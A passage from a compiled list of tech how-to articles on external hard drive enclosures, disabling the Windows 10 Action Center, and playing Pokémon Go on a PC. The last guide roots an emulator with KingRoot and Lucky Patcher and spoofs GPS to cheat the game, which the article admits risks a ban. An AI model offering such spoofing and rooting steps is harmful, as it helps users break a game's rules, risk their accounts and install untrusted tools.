L-shaped port, seen above the PATA hard drive above. The data is transferred in the larger L-shaped connection point and the power in transferred in the small L-shaped connection point. Chances are, you have a SATA drive unless it’s a very old drive (or a newer drive used in a very old computer). But check your drive and compare it to the above image before you go looking for an enclosure. Selecting Your Enclosure Once you’ve identified the relevant elements of your hard drive, it’s time to pick out a compatible enclosure. While external hard drive enclosures tend to be pretty simple, there are a handful of considerations we recommend you keep in mind while shopping. Although our goal is to educate you as a consumer so you can select just the right enclosure for your needs, we won’t leave you hanging–through this section we’re including links to specific enclosures we recommend. Internal Interface And Drive Size We left off in the last section talking about drive interfaces. When shopping for an external hard drive enclosure, the first consideration is that you pick an enclosure whose interface matches your drive’s interface and size. Have a 2.5″ laptop hard drive with a SATA interface? You want a 2.5″ SATA enclosure. Have an old 3.5″ desktop drive with a PATA interface? You’ll want a 3.5″ enclosure that supports PATA/IDE. Finally, those of you purchasing enclosures for a 2.5″ laptop drive should be extra aware of the aforementioned drive height issue. Check the fine print on your enclosure to see if the drive enclosure accommodates 12.5mm height drives, 9.5mm height drives, 7mm height drives, or all/some of the above. Fortunately, 12.5mm drives are pretty rare, and nearly every 2.5″ enclosure works with 9.5mm and 7mm height drives. External Interface Second in importance is matching the external interfaces. Do you want to connect your enclosure via USB 3.0? FireWire? An eSATA port (which is very fast, but not available on many computers)? In the photo above you can see a variety of common interface types: on the left we have a 2.5″ enclosure with a micro-B connector, in the center we have a beefy metal USB 2.0 case (that we totally bought to match our Wii and store our games) that has a USB 2.0 type-B connection, and finally a newer 3.5″ enclosure on the right that sports a USB 3.0 type-B connection. Note that both the 3.5 drives have a power port–as we noted above it takes extra juice to run desktop size drives. Above all else, carefully check the specs of the enclosure you’re purchasing to ensure you’re getting exactly what you need–that cheap enclosure might seem like a great deal until you realize it’s so cheap because it’s only USB 2.0. Enclosure Material Hard drive enclosures come in two materials: plastic and metal. For infrequent and short duration usage, the material the enclosure is made out of doesn’t really matter. But for external drives that will see a lot of use (especially if you intend to leave them on all day), a metal body construction that turns the enclosure into a big heatsink for the hard drive is a must have. Heat is the enemy of all electronics and any little bit you can do to keep your hard drive cool is worth it. The photo in the previous section highlights this decision making mentality. The big white enclosure we bought for our Wii is a giant hunk of aluminum that does a fantastic job dissipating heat during long gaming sessions. For short backup sessions, the plastic bodies of the other two enclosures doesn’t really matter much in terms of heat retention/dissipation. Finally, we’d encourage you to skip wasting the money on “ruggedized” hard drive enclosures. You end up paying a premium for a rubber bumper or a little extra protection inside the enclosure case. And in reality, what are the chances you’re going to throw your drive on the floor in the first place? Rather than pay extra for a ruggedized drive, just search Amazon for a padded drive case to put the drive in before you toss it in your backpack or briefcase. You can find hundreds of simple padded cases for all drive sizes for less than ten bucks, like this $8 padded case. The Alternative: Docks and Tethers There’s a special place in every geek’s hardware arsenal for a hard drive dock or tethering cable, and it would be remiss of us not to mention it. While a proper enclosure is great for long term use, sometimes you just want to pop drives in an out for a quick read or copy. Better yet, nice docks also support multiple hard drive sizes and often include features like one-touch copying if you want to clone the drive. In such cases, who wants to deal with taking apart the hard drive enclosure to replace the drive? With a cable tether you just plug it right in and with a dock you can stick the drive in like dropping a piece of toast into a toaster. What these solutions lack in drive protection (they generally don’t enclose the circuit board on the bottom or shield the drive in anyway) they make up for in speed of use and ease of drive changing. The Bottom Line At the end of the day, don’t be afraid to spend the extra few dollars for better features because time is money. The difference between one company’s old USB 2.0 model with outdated features and their newer improved model with a USB 3.0 connection, support for large disks, and more, is almost always $5-10 (if that). When in doubt, just buy the newest model and don’t fall into the trap of saying to yourself “Well these look identical but this one is $3 cheaper…” You’ll hate yourself for skimping on the $3 when dumping all your movie files to the external drive takes an extra three hours. Putting It All Together With the work of learning about the ins and outs of external hard drives and purchasing the right enclosure behind you, the rest is easy peasy. If you have a tool-free or toolless enclosure, you literally just have to snap the case open (like opening the battery compartment on an electronic device) and slide the hard drive in. In the photo above you can see two toolless enclosures–thanks to the compact design of the SATA data and power connections, you can literally snap these enclosures open, slide the drive in until it clicks into place, and then snap the cover back on. Boom. Done. If your enclosure has screws, there are typically two that hold the case together and–just like the hard drive cage in your computer–four screws to mount the drive. At most, you’ll need a Philips screw driver and an extra sixty seconds of time to install the drive. Finally, we’ll save you a bit of panic. If you purchased a new bare drive for this project, when you plug the enclosure into your computer for the first time, you’ll see… nothing. The drive isn’t formatted yet, so your OS will ignore it until you do something. In such cases you’ll need to allocate and format the disk with Windows Disk Manager, use the Disk Utility in OS X, or use a tool like Gparted in Linux. After that, the drive should show up just like any other drive. Now that old disk isn’t gathering dust, you saved more than a few bucks in the process, and you’ve got an enclosure that will outlive the hard drive you slapped in it. Source
  24. Hide or disable Action Center on Windows 10 Find out how to hide the Action Center icon in Windows 10's taskbar, or to disable the Action Center on Windows 10 devices completely. The Windows 10 Action Center is a central location that collects notifications and gives users control over certain features of the operating system. It is very similar to the notification system on mobile devices that inform users about new events and offer toggles to turn features like WiFi or Mobile Data on or off. The Action Center on Windows 10 is hidden by default. Microsoft made the decision to place an icon on the Windows Taskbar, or more precisely the System Tray area of it, in the Anniversary Update of Windows 10. The icon, placed on the right of the system clock, indicates the number of notifications that require user attention, and acts as a gateway to the Action Center. Hide the Action Center icon in Windows 10 The Action Center has its uses, certainly. It enables you to control features like wireless or network connections, tablet mode, or Bluetooth with two clicks. While some of the features may be useful on desktop computers as well, most are probably more useful on mobile devices. The notifications are mostly reminders to turn features on, or that an automated process completed (updates were installed, Windows Defender completed a scan). I consider these information irrelevant for the most part, but it depends on how you are using the computer. Microsoft added some controls to Windows 10 that allow you to hide certain quick actions displayed by the Action Center. That's useful, but only if you do use it and want to streamline what is displayed by the Action Center when you open it. You can manage quick actions in the following way: Use the keyboard shortcut Window-I to open the Settings application on the device. Navigate to System > Notifications & Actions. You may drag and drop quick actions around to bring them in a different order. Click on "add or remove quick actions" to hide some in the Action Center. If you don't use the Action Center on your Windows 10 PC, you may want to consider removing it from the taskbar to free up room and move the system clock to its rightful place. If you don't need the Action Center icon, you may hide it in the following way: Step 1: Right-click on the taskbar and select Settings from the context menu You may also get there in another way. Use the keyboard shortcut Windows-I to open the Settings application. Navigate to Personalization > Taskbar when it opens. Step 2: Click on "Turn System icons on or off" when the Settings app opens Step 3: Locate Action Center on the next screen, and switch it to off Doing so removes the Action Center icon immediately. Please note that this does not disable the Action Center itself. You may still open it at any time using the keyboard shortcut Windows-A. Disable the Windows 10 Action Center If you don't require the Action Center at all, you may disable it completely as well. You may turn off the Action Center using the Group Policy Editor or the Windows Registry. The former is only included in professional versions of Windows 10 officially. Disable the Action Center using the Group Policy Editor The following guide walks you through the steps of turning off the Action Center in Windows 10 using the Group Policy Editor. Step 1: Tap on the Windows-key, type gpedit.msc, and hit enter. This launches the Group Policy Editor on the system. Step 2: Use the tree hierarchy on the left to navigate to User > Administrative Templates > Start Menu and Taskbar. Step 3: Find "Remove notifications and Action Center", and double-click on the policy. If the listing is not sorted alphabetically, click on the "setting" header to do so. This makes it easier to location the policy. Step 4: Switch the state of the policy to Enabled to disable notifications and the Action Center. Click on ok to complete the process. Tip: Use the shortcut Windows-A to verify that the Action Center is disabled. If it is not launched when you use the shortcut, it is turned off. Disable the Action Center using the Registry Editor You may use the Registry Editor for the operation as well. This is especially useful to Windows 10 Home users who don't get the Group Policy Editor by default. Step 1: Tap on the Windows-key, type regedit.exe and hit enter. Confirm the UAC prompt that appears. Step 2: Use the tree hierarchy on the left to navigate to the following key: HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Explorer Step 3: Check on the right if the key DisableNotificationCenter exists. If it does, skip ahead to step 5. Step 4: Right-click on Explorer and select New > Dword (32-bit) Value. Name it DisableNotificationCenter. Step 5: Double-click on DisableNotificationCenter, and set its value to 1. Step 6: Restart the computer. Closing Words The Windows 10 Action Center has its uses. It can be useful if you need to toggle certain features on or off quickly for instance, or find some of the notifications useful that it displays. It is probably more useful if you use a mobile device, and less useful if you work on a desktop PC. Now You: What's your take on the Action Center? Source
  25. How to Play Pokémon Go On Your PC/Laptop Catch Pokemon with Pokemon Go on your PC/Laptop without ever leaving your desk, but it’s a little bit messy. If you are not living under a rock, you must have heard about Nintendo and Niantic’s gaming sensation, Pokémon GO, which is based on augmented reality. Pokémon GO requires gamers to walk around their neighborhood with the smartphones to capture Pokémon nearby. For now, Nintendo has not released this game for Windows devices. However, you can play this game on your Windows 10 PC using Android emulator such as Bluestacks. Since you can’t carry your Windows PC, you can use Fake GPS to fool the Pokemon Go on Windows PC/laptop that you are actually moving around. Even if you have Android smartphone or iOS device, if you want to collect all the Pokémons without leaving your desk, then the following may be your solution. Step by step guide to install Pokemon Go on your PC or Laptop Files to Download Download and Install BlueStacks App on your computer. The installation is simple and you simply need to follow the on-screen instructions to complete the setup. Once the program is installed, don’t launch it yet. We will have to download a few more files before we get started. Download KingRoot APK and LuckyPatcher APK. These apps will be used to gain Root access on BlueStacks player and then install our app as a system app. Download Mock Locations (fake GPS path) and Developer Options Tool APK. Finally, download the latest version of Pokémon GO. You can save all these files anywhere, however, Mock Locations should be saved in the Documents folder on your PC. Getting BlueStacks Player Ready for Pokémon GO. Open BlueStacks Player and wait for it to initialize. Once that’s done, navigate to the Android tab and from the left sidebar click on APK to install KingRoot APK. Once the app is installed, you will find it in the apps section. Run it once to gain root access on the BlueStacks Player. In the same way, install the Lucky Patcher app and run it. When prompted for Root Permissions, accept and close the app. Now to install the Location Spoofer app, open Lucky Patcher you just installed and then click Rebuild & Install at the bottom. Here, navigate to SD Card –> Windows –> Documents and click on the Mock Locations app to install it. Make sure you select Install as a System App when asked by Lucky Patcher. Install Developer Options Tool APK normally and turn the option off, if you see it turned on. Also, open up the Settings menu in BlueStacks and under location settings, make sure High Accuracy is selected. Finally, install the Pokémon GO app to start playing the game. Playing the Game Finally, when everything is set, open Lucky Patcher and launch the Mock Locations app. After the app is launched, click and hold on two locations on the map (the area which you want to explore in Pokémon GO), which then get selected. Next, click on the Play button. You will be asked to select a speed and here, give 4 kmph with 1 hour as a constraint modifier and start the path. Your Android device will now get your device location from the app which is the key ingredient to playing the Pokémon GO game. Now launch the Pokémon GO game, log in using your Google account and start playing the game. The avatar will follow the path you have given in the Mock Location app and you can collect Pokémons, take items from PokéStops and also do gym battles. Please make sure you turn off the AR (Augmented Reality) mode and play the game in a virtual environment. Conclusion So, that was all folks, you can now play Pokémon GO on your PC. Do ensure you don’t do big jumps on the map or you might get banned for location spoofing. Also, turn off the location of Windows PC if you are getting location errors while playing the game. But if you have a big park in your surrounding and it’s safe out there, I would insist you try the game there. It’s a lot more fun that way. Source